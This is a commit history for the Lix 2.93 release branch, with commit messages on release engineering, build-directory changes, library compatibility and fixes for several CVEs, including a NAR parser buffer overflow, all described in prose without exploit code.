Compare commits

...
Author SHA1 Message Date
Raito Bezarius b67ee8e801 release: 2.93.4 "Bici Bici"
Release produced with releng/create_release.xsh

Change-Id: I24bd93272db7b333f509f8d77820dbf5db5339e3
2026-05-04 19:15:52 +02:00
Raito Bezarius b1469316cf release: release notes for 2.93.4
Release created with releng/create_release.xsh

Change-Id: I38620bb46a4fccaf3e07a7505c749110a50a5689
2026-05-04 19:15:40 +02:00
Raito Bezarius ac2abb6aa4 version: bump to 2.93.4
Change-Id: Ia75252169c88be3a022ecb6efd4b5f9ca89c6fb0
Signed-off-by: Raito Bezarius <raito@lix.systems>
2026-05-04 19:15:30 +02:00
eldritch horrorsandRaito Bezarius 0eb56266a0 libutil: fix nar parser buffer overflow
string data shares a buffer with the binary string length field. size
calculations for string read buffers always include the length field;
sufficiently large length fields can cause these calculations to wrap.
a malicious nar could use this for OOB writes in the daemon (as root).

since we use strings only as tags for archive members and for symlinks
with their OS-dependent length limits we can simply limit string size.
1 MiB should be sufficient for all symlinks, and tags are always tiny.

Change-Id: I89fb05f73c1dbeda45d91244aba4cd526a3d83e1
2026-05-04 19:06:27 +02:00
Raito Bezarius 1410c6ac7d releng/keys: update the way to receive the ephemeral key
I don't understand how `ssh -l lix-releng` is supposed to work if it
doesn't say which host to target.

Change-Id: I791f3f3f49ecd5884c9e86b5d3b617fc139e031f
Signed-off-by: Raito Bezarius <raito@lix.systems>
2026-05-04 19:06:27 +02:00
Raito Bezarius 4746f2e4d5 releng/environment: update staging parameters
These parameters are now created on https://s3.afnix.fr.

Change-Id: I96b6fd913429ee46d04c412cb141edd288665ced
Signed-off-by: Raito Bezarius <raito@lix.systems>
2026-05-04 19:06:27 +02:00
YurekaandRaito Bezarius dcb715e773 releng: Adapt for AFNix S3
Change-Id: I29dbd62dcc70595ba3f2ac2a466a5c26a28aea99
(cherry picked from commit 0c63036c7d)
2026-05-04 19:06:27 +02:00
Florian KlinkandRaito Bezarius 61b44f783c libcstore: Fix null deref in writeDebugInfo for non-directory NARs
When index-debug-info is enabled and the store path being copied is a
regular file (not a directory), std::get_if<nar_index::Directory>
returns nullptr since the NAR root is a File variant. The loop then
immediately dereferences buildIdDir->contents on the null pointer,
causing a segfault.

Add a null check at the top of the loop to break early when the NAR
root is not a directory.

Change-Id: I3a6e792b84cc12c837ecaddf4fee889e1bcb6397
(cherry picked from commit 6c7ccc2588)
2026-05-04 16:33:27 +00:00
sterni 94cbf73aa2 libcmd: add support for lowdown >= 3.0.0
lowdown 3.0.0 merged some flags into one to save on bits and did not add
any aliases for backward compatibility.

As with the changes for lowdown >= 1.4, we define a preprocessor flag to
gate the changes on and add a job to CI to ensure that lowdown < 3.0
keeps working (which is used by NixOS 25.11).

Unfortunately, we need to jump through some hoops to prevent nix and lix
from upstream Nixpkgs from being rebuilt due to a changed lowdown. Since
both implementation's packaging in Nixpkgs has their own package set /
fix point now, we can't simply inherit them from `prev` since they will
always be (re-)computed from the `final` fix point. As a consequence,
we need to expose our changed lowdown version at a non-default attribute
or break the builds of Nixpkgs derivations we test against.

Change-Id: I20a3e2fdaa05906f032ff66911c42867557fdd11
(cherry picked from commit e839708839aa132c8694abfdf83409a619f72c5a)
2026-03-30 18:38:50 +02:00
Qyriad fbe811e94e libutil: include LIX_MAJOR, LIX_MINOR, and LIX_PATCH macros
Fixes #1059.

Backport of I7d8a4648890fce7ff15695876c9b9d3a6a6a6964 to 2.93 branch.

Change-Id: Ia6b8d89007974c8cf873fa1f536ce8416a6a6964
2026-01-15 12:40:52 +01:00
Qyriad 53dc27f752 nix3-develop: correctly escape ASCII control characters for JSON
Fixes #991.
(cherry picked from commit 138c7161be)

Change-Id: Iafc7d9603fbc3615393d32d9630f0e8fe548950b
2025-11-18 20:38:27 +01:00
Qyriad ced467fe49 libutil: add bashEscape, which escapes non-printing characters with $''
(cherry picked from commit ee91eec5cf)

Change-Id: I7e5c88ebe27c0a283982f8ac25f0fb0c6a6a6964
2025-11-18 20:38:01 +01:00
EmilyandQyriad d76581dbcb libstore: skip the nested build directory on Darwin
This is unnecessary because Darwin builds already cannot create
`set{u,g}id` files due to the minimal sandbox policy, because we can
forbid messing with the top‐level build directory directly in the
sandbox rules, and because Darwin builds can trivially avoid isolation
through temporary directories right now anyway.

This does regress the build directory isolation for builds with
`sandbox = false`, but I can’t imagine that mattering given the
above. The sandbox change prepares us for a world where we close
off shared temporary directories for `sandbox = true` builds and try
harder to achieve proper isolation on Darwin, but probably doesn’t
have a meaningful security impact one way or another for now.

With this change, we get down to 41 byte build directory paths on
Darwin, a ~2–3½ byte improvement over the old status quo. We can
also restore the 0710 permissions on Linux.

Change-Id: I6a6a6964a681c0365241fe7234831db656b76799
2025-11-18 11:58:03 +01:00
EmilyandQyriad b5971baa4f libstore: default to /nix/var/nix/b for build-dir
The minimum build directory length on Darwin with default settings
when we were still using `/tmp` was 22 bytes. Deriving build directory
names from my local store, the median and mode were 43, the mean was
around 44½, and the maximum was 127.

The switch to `/nix/var/nix/builds` over `/tmp` added a 15 byte
penalty, and the additional `/b` directory added another 2.

Now that we use opaque build directory names, the length is 48, so
we’re still at a ~3½–5 byte penalty over the previous status
quo. This change brings us down to 43, matching the previous median.

Note that these calculations do not take into account the fact that
`/tmp` is a symbolic link to `/private/tmp` on Darwin. Anything
that was canonicalizing paths would have had an additional 8 byte
penalty in the previous status quo that is not applicable here,
so we may already be ahead even without this change. If the more
opaque directory name here is undesirable, then that factor could
potentially help us squeeze by without. Alternatively, in combination
with dropping the `/b` on Darwin we could use `/nix/var/nix/bld` or
similar, but I feel that the paths in general are sufficiently opaque
that it should be okay to go with the shorter option here. Given that
some projects already had to reduce filename lengths to avoid this
limit even before the recent changes, I think it is best to try and
improve on the previous status quo.

Note that `/nix/var/nix/builds` will unfortunately not be cleaned up
on Darwin. However, we don’t clean up the directories inside it on
Darwin anyway, so hopefully that’s okay for now?

Closes: #913
Change-Id: I6a6a6964bffce7194bcddcaefb4c4a37569c7df5
2025-11-18 11:55:23 +01:00
EmilyandQyriad 02aefad372 libstore: don’t include derivation names in build directories
They have variable size, which is bad for #913.

Change-Id: I6a6a6964870e984c66277c7556ff3c2bc34ddca1
2025-11-18 11:52:06 +01:00
EmilyandQyriad ba71ad6236 tests: remove obsolete code to create custom build directories
We now do in fact do this and decide this.

Change-Id: I6a6a696493b288ed76d809122bda259dc0225846
2025-11-18 11:52:06 +01:00
EmilyandQyriad 24348f9bca libstore: make temporary path prefixes optional
This is not the same thing as passing an empty string, because it
avoids the `-` separator.

Change-Id: I6a6a696451667cbf500914e2dfbca2a4646ff20b
2025-11-18 11:52:06 +01:00
EmilyandQyriad 5b0bc2e5b4 libstore: simplify createTempDir interface
We always use the default temporary directory, because
`createUniqueDir` has an interface nice enough to use directly for
the few bespoke uses.

Change-Id: I6a6a696450b7c0a0bd76655632fb14d7c5e38199
2025-11-18 11:52:06 +01:00
EmilyandQyriad 1fa9c4d55f libutil: use makeTempPath in createTempSubdir
This makes the paths more nondeterministic, but more reliably unique,
and lets us remove the retry loop.

Note that this adds random entropy to the build directory visible
inside derivations on Darwin and unsandboxed Linux. It was already
non‐deterministic in the presence of concurrent builds and similar,
but now we can reliably expect it to be different every time. On the
whole I think that’s a good thing, as it is impossible to ensure
a single consistent build directory and derivation outputs should
not depend on it.

Package reproducibility isn’t great on Darwin to begin with,
though, and the reproducibility bugs this will turn up in packages
will be more urgent to fix than when the build directory was mostly
consistent. A quick survey of my local store shows that many C, C++,
and Rust binaries contain build directory references, likely due to
use of `__FILE__` and its equivalents; non‐binary offenders include:

* Install logs included in the Rust and Cargo bootstrap compilers
* Example errors in the Rust documentation referencing build paths
* Configuration information installed with CPython itself
* Python 2 metadata from resholve’s closure
* Cython metadata
* Generated headers in Facebook libraries referencing source paths
* Generated CMake files in Facebook libraries referencing source paths

I haven’t built that much in this store since the last GC, so this is
probably only a small sample of the problems across the tree. These are
all instances of <https://reproducible-builds.org/docs/build-path/>,
though, and should probably just be treated as general reproducibility
bugs outside of contexts like the Linux sandbox where we can normalize
them away entirely.

I have implemented away build directory paths for C/C++, applied some
additional fixes for non‐`__FILE__`‐related issues in binaries
from ATF and LLVM, and fixed the derivation bug causing the CPython
3 issue, and will work on upstreaming these changes. Rust is working
on the problem upstream, with some temporary workarounds we can
potentially apply in Nixpkgs for now. The rest will require some
distributed effort.

Change-Id: I6a6a69645b4915c56c0fdef904aa81684e4136c6
2025-11-18 11:47:10 +01:00
EmilyandQyriad 9f87a43076 libstore: simplify fallback build directory logic
This does change the behaviour when the global temporary directory
does not exist, but other uses of the global temporary directory are
already broken in that circumstance, and it should be fixed centrally
if the use case is considered desirable. The logic was not present
before the recent churn around build directories – it was added now
that Lix is taking ownership of the build directory in the store –
so this should not be a meaningful regression.

Change-Id: I6a6a6964e345ea6803226c5ad759e836de7cb0ed
2025-11-18 11:38:20 +01:00
EmilyandQyriad 84912edd66 libstore: use makeTemp{,Sibling}Path more
Change-Id: I6a6a6964c885be6dea0a69ee3162fbf4b812471f
2025-11-18 11:33:31 +01:00
EmilyandQyriad a9ac3d0173 libstore: simplify makeTemp{,Sibling}Path callers
There is now no risk of race conditions on a system with a functioning
entropy source, and the bespoke prefixes are either redundant to the
default or unnecessary.

Change-Id: I6a6a69641211c6bb979ea48ad30aecb1a53d03f0
2025-11-18 11:22:48 +01:00
EmilyandQyriad 1df3d8c79d libutil: use OS‐provided entropy for temporary filenames
Relax the constraints on keeping the exact same filename format to
provide a more robust source of entropy with a simpler interface
(as previously suggested by eldritch horrors). Using 128 bits of
OS‐provided entropy ensures global uniqueness and allows us to
skip any thought of gracefully handling the case where these files
already exist.

My microbenchmark that repeatedly constructed paths like this and
printed them out showed that this takes about 1.23× the time of
the previous implementation, both taking on the order of a couple
microseconds for one iteration. Since everything that uses it is doing
things more expensive than printing to standard output, the actual
performance delta is likely to be lost in the noise. If it somehow
becomes a bottleneck, it can be optimized without sacrificing the
guarantees by reading from the system RNG only to seed a thread‐local
CSPRNG like [ChaCha8Rand], but I think that’s very unlikely.

We also tweak the recommended way of creating a temporary file inside
a directory in anticipation of later changes, and rename the `suffix`
parameter to `prefix` (it’s a prefix to the random characters and
a suffix to the root, but this way is more consistent).

[ChaCha8Rand]: https://c2sp.org/chacha8rand

Change-Id: I6a6a69648502c746d13d8c3bd2768cbbf1b90466
2025-11-18 11:08:31 +01:00
EmilyandQyriad fc22163c57 libutil: extract Base32 helpers from Hash
base32Encode now takes std::span<std::byte>, with a base32EncodeStr
convenience wrapper which takes std::string_view.

Co-authored-by: Qyriad <qyriad@qyriad.me>

Change-Id: I6a6a6964f799dc84ecbfb55c7ca03a064cff71d9
2025-11-18 11:08:31 +01:00
EmilyandQyriad 8a27e3d657 libstore: use makeTempSiblingPath in replaceValidPath
Change-Id: I6a6a69641a3b4e6fdd076faac44dc314e6cc057e
2025-11-18 11:08:31 +01:00
EmilyandQyriad 1cc3989c8e libutil: add makeTempSiblingPath helper
The prospective callers of this should probably be doing something
smarter or more abstracted to begin with, but this is useful as an
incremental improvement for call sites with existing `makeTempPath`
logic in the face of filename length limits.

Change-Id: I6a6a69644292f5bbf984a1df90192e06c6022b53
2025-11-18 11:08:10 +01:00
Raito Bezarius 75c0314204 nix3/develop: support structured attrs-based output checks
nix develop should ignore output checks in general.

This was done only for the old way of specifying output checks, the
structured attrs way requires rewriting the JSON and removing the output
checks pieces.

We take a brutal approach of removing as many as possible including
non-recommended ways of doing it.

Fixes #997.

Change-Id: Iaf83029016c71b5171e56e15d4eadc1a60a8be98
Signed-off-by: Raito Bezarius <raito@lix.systems>
(cherry picked from commit 992c3ae981)
2025-10-08 16:25:03 +00:00
Raito Bezarius 9bfef6a06c legacy/nix-build: create various temporary directories into a known tempdir
Fixes fj#940.

When running `nix-shell`, the `$NIX_BUILD_TOP` environment variable is
set to `$TMPDIR` or `/tmp`.

nixpkgs stdenv uses $NIX_BUILD_TOP to create `$NIX_BUILD_TOP/env-vars`
which contains all the environment variables set by stdenv. This is used
for debugging purposes in combination with `--keep-failed` to reload the
bash environment of a derivation.

`$TMPDIR` is often unset, therefore, `/tmp/env-vars` was constantly
being created. On a multi-user system or, when you run Lix as root, you
might create a `/tmp/env-vars` with different permission bits.

As a result, `nix-shell` can cease to function because that file will
fail creation for an unprivileged user for example.

fj#940 rightfully remark that the code is not consistent between
nix3-develop and nix-shell and it should be reworked.

Change-Id: Iddf15945385d8bd497b2800b37fee5e1f97689b7
Signed-off-by: Raito Bezarius <raito@lix.systems>
(cherry picked from commit feab75bde0)
2025-10-07 13:16:25 +00:00
Marie Ramlow b7c2f17e91 meson: link against libatomic if required
Some platforms like 32-Bit PowerPC need linking against libatomic.
Try to compile and link a very simple snippet of code which uses atomics
and make libatomic required if it fails.

Change-Id: I6a6a696471e1d352fb161c537ba9023b97c2d31e
(cherry picked from commit 95448347ea)
2025-09-13 21:32:01 +02:00
Sergei ZimmermanandEmily b6d5670bcf libexpr: Canonicalize TOML timestamps for toml11 > 4.0
This addresses several changes from toml11 4.0 bump in
nixpkgs [1].

1. Added more regression tests for timestamp formats.
   Special attention needs to be paid to the precision
   of the subsecond range for local-time. Prior versions select the closest
   (upwards) multiple of 3 with a hard cap of 9 digits.

2. Normalize local datetime and offset datetime to always
   use the uppercase separator `T`. This is actually the issue
   surfaced in [2]. This canonicalization is basically a requirement
   by (a certain reading) of rfc3339 section 5.6 [3].

3. If using toml11 >= 4.0 also keep the old behavior wrt
   to the number of digits used for subsecond part of the local-time.

[1]: https://www.github.com/NixOS/nixpkgs/pull/331649
[2]: https://www.github.com/NixOS/nix/issues/11441
[3]: https://datatracker.ietf.org/doc/html/rfc3339

(cherry picked from commit dc769d72cb8ad22a0f89768682b5499a9d2b3d8b)
Upstream-PR: https://github.com/NixOS/nix/pull/13741
Change-Id: Iac4fbe5108be79be585e9670fa42dfd11f3c5e89
(cherry picked from commit 2898b9e7dc)
2025-09-12 17:06:38 +01:00
Sergei ZimmermanandEmily 176b834464 libexpr: Use table.size() instead of unnecessary loop
(cherry picked from commit d8fc55a46e0c09241131097dbf1d6fa09e0a9808)
Upstream-PR: https://github.com/NixOS/nix/pull/13741
Change-Id: I8a11e21ae3bff3a885e13fbab74e1deb162a34cf
(cherry picked from commit 19d9a87c2f)
2025-09-12 17:06:38 +01:00
Sergei ZimmermanandEmily e29a1ccf0a libexpr: Use recursive lambda instead of std::function
There's no reason to use a std::function for recursive lambdas
since there are polymorphic lambdas.

(cherry picked from commit a80a5c4dba0d944fab8f5ed57a343869ae96bf16)
Upstream-PR: https://github.com/NixOS/nix/pull/13741
Change-Id: I593bd04597e2ae000374ca1eca4d8928e986c0b5
(cherry picked from commit 5badc1bc8a)
2025-09-12 17:06:38 +01:00
Sergei ZimmermanandEmily ad52cbde2f libexpr: Remove extra trailing semicolons (NFC)
This looks really weird after the reformat.

(cherry picked from commit df4e55ffc13c413e270af134227115a20a2341ba)
Upstream-PR: https://github.com/NixOS/nix/pull/13741
Change-Id: I8de92d58620cc4545a31d8b7d533d2f1e9f4f233
(cherry picked from commit 2ca5670ec3)
2025-09-12 17:06:38 +01:00
Sergei ZimmermanandEmily 699d3a63a6 tests/functional/lang: Add more tests for TOML timestamps
Current test suite doesn't cover the subsecond formatting at
all and toml11 is quite finicky with that. We should at the very
least test its behavior to avoid silent breakages on updates.

(cherry picked from commit 7ed0229d1abd4414144c7af396842462ce6fc1eb)
Upstream-PR: https://github.com/NixOS/nix/pull/13741
Change-Id: I6a6a696433b168072d6ad2585dce8a3c10ccbc39
(cherry picked from commit b2e48aac5c)
2025-09-12 17:06:38 +01:00
Emily 96a39dc464 libexpr: format fromTOML source
Otherwise the next diff becomes very messy.

Change-Id: I6a6a6964d96543ade130d491f413ebd9fe2b7ff1
(cherry picked from commit c586596a9f)
2025-09-12 17:06:38 +01:00
Alois Wohlschlager c8dc916356 flake: update nixpkgs input
Without https://github.com/NixOS/nixpkgs/pull/434761 evaluation of the
`nixpkgsLibTests` will fail in CI with recent enough Lix, due to reliance on
the TOML integer saturation bug.

Reported-by: Sergei Zimmerman <sergei@zimmerman.foo>

Change-Id: I6a6a6964838009d2c525f67035f84072fdfad988
2025-09-07 19:24:17 +02:00
sternenseemann 1a4393d0aa libcmd: add support for lowdown >= 1.4
lowdown 1.4.0 changed the lowdown_opts to include a new and separate
lowdown_opts_term which allows for configuring values specific to
-Tterm (which we're using). This version should have been called 2.0.0
according to semver, hence 2.0.0 was released later without any actual
breaking changes to sort of migitate the problem.

We need to support lowdown >= 1.3 && < 1.4 since the ship has sailed for
updating lowdown in NixOS 25.05 as well as lowdown >= 1.4 or we'll be
stuck in Nixpkgs forever. Support for < 1.4 can be dropped as soon as
NixOS 25.05 is EOL, assuming this change lands before NixOS 25.11
branch-off.

We detect the changed API based on the lowdown version from pkg-config
and define LOWDOWN_SEPARATE_TERM_OPTS based on that. The ifdef is named
according to the specific API change that impacts us, so that it's
hopefully a little simpler to maintain going forward. In the new API,
all newly configurable settings use what would have been the (implicit)
default before. Changing some of these values, especially hpadding,
could be interesting in future changes.

Compared to cl/3081, this change makes sure to initialize all new fields
of lowdown_opts_term explicitly.

It seems that, while making -Tterm more configurable, lowdown's word
wrapping behavior changed slightly which broke basic_repl.test. I've
chosen to work around this by using builtins.add as an example which has
a very short documentation string, so wrapping doesn't matter.

Change-Id: Id73be4c0e43d7eb4f56e10a261b4254402698ff8
(cherry picked from commit 858de5f47a)
2025-07-23 23:42:04 +02:00
Jade Lovelace 7ac20fc47c release: merge release 2.93.3 back to mainline
This merge commit returns to the previous state prior to the release but leaves the tag in the branch history.
Release created with releng/create_release.xsh

Change-Id: Ie9fa603173d7aab8a4ca8a6a0594158779701405
2025-07-22 15:27:09 -07:00
Jade Lovelace e101400359 release: 2.93.3 "Bici Bici"
Release produced with releng/create_release.xsh

Change-Id: I49a2c0c8bd79e864809b64d4c8d2b0049d570c02
2025-07-22 15:27:08 -07:00
Jade Lovelace 54fdb1edd8 release: release notes for 2.93.3
Release created with releng/create_release.xsh

Change-Id: Iaea203835f892efb783995543abcb1ea7c520a4a
2025-07-22 15:26:56 -07:00
Jade Lovelaceandjade dc6d5962a5 version: 2.93.3
Change-Id: I87df39a21f700eb973627ad0d39b532187901322
2025-07-20 20:21:53 +00:00
Jade Lovelace 927facd35d fix: VERSION_SUFFIX was not getting into meson
It was a regression caused by switching to structured attrs, I think.

Fixes: https://git.lix.systems/lix-project/lix/issues/908
Change-Id: Ia62892919945a1f16a81a2e0bb585595fac46669
(cherry picked from commit ae00b12983)
2025-07-20 20:21:28 +00:00
K900andjade ba5b1cd1cc packaging: use structuredAttrs
staging-next banned !structuredAttrs && separateDebugInfo && disallowedRequisites
due to weird output interactions. Enable structuredAttrs so we can build again.

Also, fix type confusion that makes stdenv explode (https://github.com/NixOS/nixpkgs/issues/422989).

Co-authored-by: eldritch horrors <pennae@lix.systems>
Change-Id: Ic0c773394ee79e10d427f27750d59892d6d1f1d1
(cherry picked from commit 378b360bf8)
2025-07-20 20:21:28 +00:00
eldritch horrors a6201a64e5 libstore: weaken tmpdir root access mode
libarchive *should* not break with 0710 on the tmpdir root on darwin,
just like it doesn't break on linux, but for some reason it does. the
restriction to 0710 can be weakened to 0750 with causing any trouble.

fixes #921

Change-Id: Ia9fc2f8eb9695fc19cefae9857368d5a4e58c8b9
2025-07-20 16:52:29 +00:00
eldritch horrorsandRaito Bezarius 65c0ede1e9 libstore: chown build dirs with --keep-failed
although we only chown if the build was requested by a local daemon
user. daemonless invocations will not chown as they do not have to.
remote builds *can* chown to the remote builder user, but that does
not seem to happen (for some reason keep-failed is not propagated).

Change-Id: Ic0ead406b38b4ca0556fec42d84888efa25123bf
(cherry picked from commit ae3b8e58c3)
2025-07-18 14:12:50 +02:00
eldritch horrorsandRaito Bezarius 18e56efd9c libstore: add intermediate directory to build-dirs
this makes the actual build directories used by builders invisible and
inaccessible to other processes on the system, avoiding another vector
for outside processes to interfere with builds or pass credentials the
build sandbox should not have access to into the build sandbox anyway.

fixes #919

Change-Id: Ifaa4d8e3940cfde1406e925f75c1375d2e86d81a
(cherry picked from commit 9d5a5c4dc0)
2025-07-17 09:43:01 +00:00
Raito Bezarius f3a7bbe5f8 release: merge release 2.93.2 back to mainline
This merge commit returns to the previous state prior to the release but leaves the tag in the branch history.
Release created with releng/create_release.xsh

Change-Id: Ia72a7fd2461f07398c3eb0f49e7448300688dfe9
2025-06-30 00:21:44 +02:00
Raito Bezarius 1d7368585e release: 2.93.2 "Bici Bici"
Release produced with releng/create_release.xsh

Change-Id: I9b3c2bafcd124f53fbe91058f8015e229063ea02
2025-06-30 00:21:44 +02:00
Raito Bezarius 016d019340 release: release notes for 2.93.2
Release created with releng/create_release.xsh

Change-Id: I643d70eaf19440325b2f66ec5f976f7ed4362949
2025-06-30 00:21:41 +02:00
Raito Bezarius f6ad1bfefb version: 2.93.1 -> 2.93.2
Resolves critical correctness bugs following CVE fixes.

Change-Id: Iaa9b59feab438744e71d3c03ecf4f165699bfea5
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-29 20:33:35 +00:00
EmilyandRaito Bezarius ff16735ca5 libstore: fix Unix sockets in the build directory on sandboxed macOS
We’re already allowing `/tmp` anyway, so this should be harmless,
and it fixes a regression in the default configuration caused by
moving the build directories out of `temp-dir`. (For instance, that
broke the Lix `guessOrInventPath.sockets` test.)

Note that removing `/tmp` breaks quite a few builds, so although it may
be a good idea in general it would require work on the Nixpkgs side.

Fixes: 749afbbe99
Change-Id: I6a6a69645f429bc50d4cb24283feda3d3091f534
(cherry picked from commit d1db3e5fa3)
2025-06-29 20:33:35 +00:00
Raito Bezarius 85d1465b93 libstore: fallback on creating a safe space in the default tempdir
If `settings.buildDir` cannot be written to, because we are in a chroot
store, unprivileged or anything.

We can and should always gracefully fallback to a *secure* location
inside of /tmp, i.e. `/tmp/<a directory under 0700>/<our temporary
directory for build under 0700>/...`.

This does not reintroduce CVE-2025-52991 because we are creating a
directory in-between compared to creating only ONE level of directory.

Under macOS, the first level of directory has actually mode 0755 instead
of 0700 as macOS often do not possess the right primitives to chroot
inside of these directories, leading to
https://github.com/NixOS/nix/pull/11031.

Thanks to Emily for the heads-up on this type of matter.

Fixes #876.

Change-Id: Ie521202923f763225e1901ab1b9b6c6132aaf548
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-29 20:33:35 +00:00
eldritch horrors 5a0ab5af09 Revert "libstore/build: automatic clean up of unsuccessfully built scratch outputs"
This reverts commit f85c84db37 as this is the root cause for the critical correctness bug.

Change-Id: If71516db54138201039473485fb3cf7b5f49ccb0
2025-06-29 20:19:30 +00:00
Raito Bezarius 9d40ddb627 releng: move back to a non-official release
Required to make the releng scripts work.

I know this is not optimal and we should have a proper merge commit from
releng/2.93.1 appearing here, but this is fine.

Change-Id: I11f8ccb8d2a5b124cd057d948aa80dd8be3a7ffd
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-27 23:30:32 +02:00
Raito Bezarius 38b358ce27 release: 2.93.1 "Bici Bici"
Release produced with releng/create_release.xsh

Change-Id: I64c89d0fba1e228136e50738e7a61d53306d14e6
2025-06-24 10:50:03 +00:00
Raito Bezarius 24edb364b2 release: release notes for 2.93.1
Release created with releng/create_release.xsh

Change-Id: I2d80bc68b7dd184ccf449de747ac46de6ac8786a
2025-06-24 10:50:03 +00:00
Raito Bezarius 7e8c005d44 version: 2.93.0 -> 2.93.1
* Announce the deprecation of ca-derivations and various other features
as planned initially.
* Fixes papercuts in 2.93.0 (SSH connections).
* Fixes the curl download bug for non-Nixpkgs users.
* Fixes CVE-2025-46415, CVE-2025-46416, CVE-2025-52991, CVE-2025-52992,
and CVE-2025-52993.

Change-Id: I8f700396a5ac57d2a1832833f83c22645c73697d
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:03 +00:00
Raito Bezarius f85c84db37 libstore/build: automatic clean up of unsuccessfully built scratch outputs
When a build fails, its scratch output paths are not cleaned up.

Until recently, this was deemed not a problem but as part of the effort
to harden the Nix builds and protect these paths against being part of a
staged attack (race conditions, etc.), we automatically cleanup after
failed builds.

Fixes CVE-2025-52992.

Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:03 +00:00
eldritch horrorsandRaito Bezarius 469cb4218d libstore: don't default build-dir to temp-dir
if a build directory is accessible to other users it is possible to
smuggle data in and out of build directories. usually this ins only
a build purity problem, but in combination with other issues it can
be used to break out of a build sandbox. to prevent this we default
to using a subdirectory of nixStateDir (which is more restrictive).

Fixes CVE-2025-52991.

Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0
2025-06-24 10:50:03 +00:00
959f6cb084 libstore: use pasta for FODs if available
This allows using a userspace program, pasta, to handle comms between
the build sandbox, and the outside world; allowing for full isolation
including the network namespace, closing the "fixed-output derivation
talks to the host over an abstract domain socket" hole for good.

Fixes CVE-2025-46416.

Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
2025-06-24 10:50:03 +00:00
eldritch horrorsandRaito Bezarius c773df3b58 libutil: add capability support to runProgram2
launching pasta to not run as root will ambient require capabilities.

Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea
2025-06-24 10:50:03 +00:00
eldritch horrorsandRaito Bezarius 8ceda6db13 libutil: add generic redirections runProgram2
explicit stderr redirection makes mergeStderrToStdout unnecessary also.

Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872
2025-06-24 10:50:03 +00:00
eldritch horrorsandRaito Bezarius 58b113d623 libutil: make RunningProgram more useful
make it moveable, make it killable, and add a stdout fd accessor.

Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0
2025-06-24 10:50:03 +00:00
Raito Bezarius 0df9344b28 libutil: ensure that _deletePath does NOT use absolute paths with dirfds
When calling `_deletePath` with a parent file descriptor, `openat` is
made effective by using relative paths to the directory file descriptor.

To avoid the problem, the signature is changed to resist misuse with an
assert in the prologue of the function.

Fixes CVE-2025-46415.

Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:50:03 +00:00
Raito Bezarius c085f5160a libstore: ensure that passAsFile is created in the original temp dir
This ensures that `passAsFile` data is created inside the expected
temporary build directory by `openat()` from the parent directory file
descriptor.

Fixes CVE-2025-52993.

Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-24 10:46:12 +00:00
Raito Bezarius 77daadb029 libutil: writeFile variant for file descriptors
`writeFile` lose its `sync` boolean flag to make things simpler.

A new `writeFileAndSync` function is created and all call sites are
converted to it.

Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 17:25:59 +02:00
Raito Bezarius 3f02ca5c35 libstore: chown to builder variant for file descriptors
We use it immediately for the build temporary directory.

Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:53:12 +02:00
Raito Bezarius 1a4cb13411 libstore: open build directory as a dirfd as well
We now keep around a proper AutoCloseFD around the temporary directory
which we plan to use for openat operations and avoiding the build
directory being swapped out while we are doing something else.

Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:53:12 +02:00
Raito Bezarius e9f0354f7a libutil: guess or invent a path from file descriptors
This is useful for certain error recovery paths (no pun intended) that
does not thread through the original path name.

Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
Signed-off-by: Raito Bezarius <raito@lix.systems>
2025-06-23 16:53:12 +02:00
Raito Bezarius fbd6a014ec flake/inputs: 24.11-small -> 25.05-small
We upgrade to 25.05 release, which contains the curl commit
https://github.com/curl/curl/commit/5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6
done in
https://github.com/NixOS/nixpkgs/pull/396200#issuecomment-2795944006.

This fixes HTTP transfers generating arbitrary errors and possibly
failing unusually.

Users who are already depending on 25.05-small or a recent unstable
already had the fix.

Special mention to the Linux kernel who gave me the opportunity to get
on a 24 hours bisection side quest to fix the local release engineering
test.

Special thanks to everyone who had to endure me ranting.

Change-Id: I866caf65d5ea103f1fa5eccd57df8031c9eacda0
Co-authored-by: eldritch horrors <pennae@lix.systems>
Co-authored-by: helle <helle@h3l.li>
Signed-off-by: Raito Bezarius <raito@lix.systems>
(cherry picked from commit 1e34c37477)
2025-06-19 17:09:59 +02:00
Linus Heckemann 2387104452 build: disable LTO on Darwin
Due to https://git.lix.systems/lix-project/lix/issues/832 , Lix 2.93.0
fails to build on Darwin without overrides. Until the root cause has
been determined and fixed, build without LTO.

Change-Id: I4db5eb294d8f19e5a366b1e19efa5a327b3e2e78
(cherry picked from commit da94e860dd)
2025-06-03 19:08:20 +00:00
eldritch horrors d84f13b73f nix: don't send tarballTtl to the daemon
it's an eval-time only setting, the daemon doesn't use it anywhere. this
is a hack, but until we have a much better settings system we are stuck.

fixes #680

Change-Id: I532088b0279f13da0a0a65c2bd2e5f9d1dfb39da
(cherry picked from commit 5917db84aa)
2025-06-03 18:49:43 +00:00
eldritch horrors 37a570bd40 deprecate CA, dynamic, and impure derivations
ca derivations are what we're really after, but dynamic derivations
must also go because they depend on ca derivations. we can't easily
implement dynamic derivations any other way, so we remove them too.
impure derivations build on the content-addressed infrastructure in
ways we cannot easily detangle, so they too must go for time being.

see #815

Change-Id: If61371736dfd89cc71a1b2ae5a005757c3cb9484
